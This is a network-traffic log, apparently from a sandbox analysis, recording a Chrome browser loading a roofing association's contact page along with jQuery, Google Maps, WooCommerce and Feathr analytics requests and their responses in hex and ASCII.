Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.6	50000	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:13 UTC	961	OUT	GET /wp-content/themes/u-design/inc/frontend/masked-input-plugin/jquery.maskedinput.min.js?ver=1.3.1 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/contact-us/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0
2024-04-23 14:54:14 UTC	546	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:13 GMT Content-Type: text/javascript Content-Length: 4330 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e026f5-10ea-5b419ed103e00" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:14 UTC	4330	IN	Data Raw: 2f 2a 0d 0a 20 20 20 20 6a 51 75 65 72 79 20 4d 61 73 6b 65 64 20 49 6e 70 75 74 20 50 6c 75 67 69 6e 0d 0a 20 20 20 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 37 20 2d 20 32 30 31 35 20 4a 6f 73 68 20 42 75 73 68 20 28 64 69 67 69 74 61 6c 62 75 73 68 2e 63 6f 6d 29 0d 0a 20 20 20 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 28 68 74 74 70 3a 2f 2f 64 69 67 69 74 61 6c 62 75 73 68 2e 63 6f 6d 2f 70 72 6f 6a 65 63 74 73 2f 6d 61 73 6b 65 64 2d 69 6e 70 75 74 2d 70 6c 75 67 69 6e 2f 23 6c 69 63 65 6e 73 65 29 0d 0a 20 20 20 20 56 65 72 73 69 6f 6e 3a 20 31 2e 34 2e 31 0d 0a 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e Data Ascii: /* jQuery Masked Input Plugin Copyright (c) 2007 - 2015 Josh Bush (digitalbush.com) Licensed under the MIT license (http://digitalbush.com/projects/masked-input-plugin/#license) Version: 1.4.1*/!function(a){"function"==typeof defin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.6	50001	74.125.136.99	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:14 UTC	1051	OUT	GET /maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:14 UTC	739	IN	HTTP/1.1 200 OK Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-MEZhbJZso1WrBQ4T9f4imQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/geo-maps-api/1 Cache-Control: no-cache, must-revalidate Expires: Fri, 01 Jan 1990 00:00:00 GMT X-Robots-Tag: noindex,nofollow Pragma: no-cache Content-Type: text/html; charset=UTF-8 Vary: X-Origin Vary: Referer Date: Tue, 23 Apr 2024 14:54:14 GMT Server: scaffolding on HTTPServer2 X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Origin,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-23 14:54:14 UTC	516	IN	Data Raw: 39 33 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 6d 61 70 44 69 76 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 6d 61 70 44 69 76 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 4d 45 5a 68 62 4a 5a Data Ascii: 939<!DOCTYPE html><html> <head> <style type="text/css"> html, body, #mapDiv { height: 100%; margin: 0; padding: 0; } </style> </head> <body> <div id="mapDiv"></div> <script nonce="MEZhbJZ
2024-04-23 14:54:14 UTC	1255	IN	Data Raw: 5d 5d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 39 39 32 38 31 34 38 38 36 34 38 38 30 31 30 36 31 30 31 22 2c 22 34 36 37 39 36 34 32 30 35 32 38 38 34 38 37 34 35 30 30 22 5d 2c 22 2f 67 2f 31 31 63 35 6e 31 6c 70 71 37 22 2c 6e 75 6c 6c 2c 5b 33 39 35 38 34 37 36 37 33 2c 33 35 33 31 30 39 31 39 37 31 5d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 67 63 69 64 3a 67 65 6f 63 6f 64 65 64 5f 61 64 64 72 65 73 73 22 5d 2c 30 2c 30 2c 6e 75 6c 6c 2c 6e 75 Data Ascii: ]],null,null,[[null,null,null,null,null,null,null,null,null,null,null,null,null,[[["9928148864880106101","4679642052884874500"],"/g/11c5n1lpq7",null,[395847673,3531091971],null,null,null,1,null,null,null,null,null,null,"gcid:geocoded_address"],0,0,null,nu
2024-04-23 14:54:14 UTC	597	IN	Data Raw: 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0a 20 20 20 20 20 20 20 20 65 6d 62 65 64 2e 73 72 63 20 3d 20 22 68 74 74 70 73 3a 2f 2f 6d 61 70 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 6d 61 70 73 2d 61 70 69 2d 76 33 2f 65 6d 62 65 64 2f 6a 73 2f 35 36 2f 38 2f 69 6e 69 74 5f 65 6d 62 65 64 2e 6a 73 22 3b 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 6d 62 65 64 29 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 70 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 6d 61 70 73 2d 61 70 69 2d 76 33 2f 65 6d 62 65 64 2f 6a 73 2f 35 36 2f 38 2f 69 6e 69 74 5f 65 6d Data Ascii: ent('script'); embed.src = "https://maps.gstatic.com/maps-api-v3/embed/js/56/8/init_embed.js"; document.body.appendChild(embed); } </script> <link rel="preload" href="https://maps.gstatic.com/maps-api-v3/embed/js/56/8/init_em
2024-04-23 14:54:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.6	50002	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:14 UTC	605	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.asphaltroofing.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:14 UTC	890	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:14 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XeImPsINLuEd9Gfe9zaz0zYPi2goonxnF1zRrbklLXrTPT1NFfvC6aW%2BetGX4Agy9hF%2BQBeJyMIxIkrm4dJPCV8TA3CXjp07aTzLRPCsLTSC2w8gwMPrRN2QYbT09XSO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb00c282953aa-ATL
2024-04-23 14:54:14 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.6	50003	18.160.78.62	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:14 UTC	630	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:14 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:14 GMT x-amzn-RequestId: c84c0d56-eef5-4b3e-af8f-bc978c3f73ea Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:14 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: Wry_jFfnIAMEYXA= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cb96-7069374b0c5c0dea7f94beb6;Parent=0975a5cc33a0a738;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 6a433e61db2bd1572143d4fc2dbb111c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL59-P2 X-Amz-Cf-Id: 0y9eMSBZlk4EJjV78qhi9mIEy6Wcg0wt-WHRFcye3fJpqG1Svj73-w==
2024-04-23 14:54:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.6	50005	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:14 UTC	1053	OUT	POST /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Content-Length: 18 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.asphaltroofing.org Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/contact-us/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z
2024-04-23 14:54:14 UTC	18	OUT	Data Raw: 74 69 6d 65 3d 31 37 31 33 38 38 34 30 35 33 31 39 37 Data Ascii: time=1713884053197
2024-04-23 14:54:15 UTC	618	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:15 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Access-Control-Allow-Origin: https://www.asphaltroofing.org Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding
2024-04-23 14:54:15 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.6	50008	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:14 UTC	644	OUT	GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884053263 HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:15 UTC	964	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:14 GMT Content-Type: text/javascript Content-Length: 207 Connection: close Cache-Control: no-cache, max-age=0 ETag: "6627cb818425280008d4a656" Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6vr12DZ6G1%2FmZII7hEiAY2l3vNdoUlmFcO9jYGqMWsfP0e%2BIQCYJ64BNnnd1RUOxJMuBoIs6N%2F9oy3c3pGaesEnFizpuZp0HyULjyfqsbe3Pbwie6ezlR%2F97KGCoa5Ew"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb00f5cf62969-ATL
2024-04-23 14:54:15 UTC	207	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 77 29 20 7b 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 2e 66 65 61 74 68 72 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0a 20 20 20 20 20 20 20 20 77 2e 66 65 61 74 68 72 28 27 6d 61 74 63 68 27 2c 20 27 36 36 32 37 63 62 38 31 38 34 32 35 32 38 30 30 30 38 64 34 61 36 35 36 27 2c 20 27 62 37 33 63 62 62 65 39 2d 64 33 66 36 2d 34 33 66 39 2d 38 39 31 62 2d 33 31 38 36 65 65 34 37 31 32 61 62 27 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 0a 7d 28 77 69 6e 64 6f 77 29 29 3b Data Ascii: (function (w) { if (typeof w.feathr === 'function') { w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab'); } }(window));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.6	50009	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:14 UTC	426	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:15 UTC	890	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:14 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aUCSTaP6Dg4s4RGfQk5QxdfQa%2BYw1O%2B94h2iHCtI29puNOwkN0sAH8bGUfpGT9DxgfVIIhdkqZeFY01CQmw0g9my12qcb2cGFuWRozyKvfsZPjCSoNgEyR4XOSt9tZd4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb00f7a02b066-ATL
2024-04-23 14:54:15 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.6	50007	13.32.151.88	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:14 UTC	388	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:15 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:14 GMT x-amzn-RequestId: 152b27ac-dcc5-447a-be46-e97ecbbec7c4 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:14 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: Wry_oHaVoAMEJKg= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cb96-2ea6730e65bb80c8147e09f1;Parent=4ea3865c27f53f32;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 a3cc6ada872dd8799739f0e62dddda7c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD66-C2 X-Amz-Cf-Id: RHLj5Gc-qIjG_XSEAafV4zwi81Sy_Jaglo0v3njK42ZkmnGS4lFmVg==
2024-04-23 14:54:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.6	50012	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:15 UTC	918	OUT	GET /v1/analytics/crumb?cb=1713884053772&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:15 UTC	1058	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:15 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:15 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zn940keNtUDFd5%2Bg7KclWbSp1FnnQO%2FkZhgAPhfyeEUPoKvwEcIT9zuGF9xOav0twZESdF7l6dZqdUtV0b9Ozfy3Mmrk2ex5mOs22lrTghEWf7YtSXgbqISfC4rrDWM9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb012a91cad71-ATL
2024-04-23 14:54:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.6	50021	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
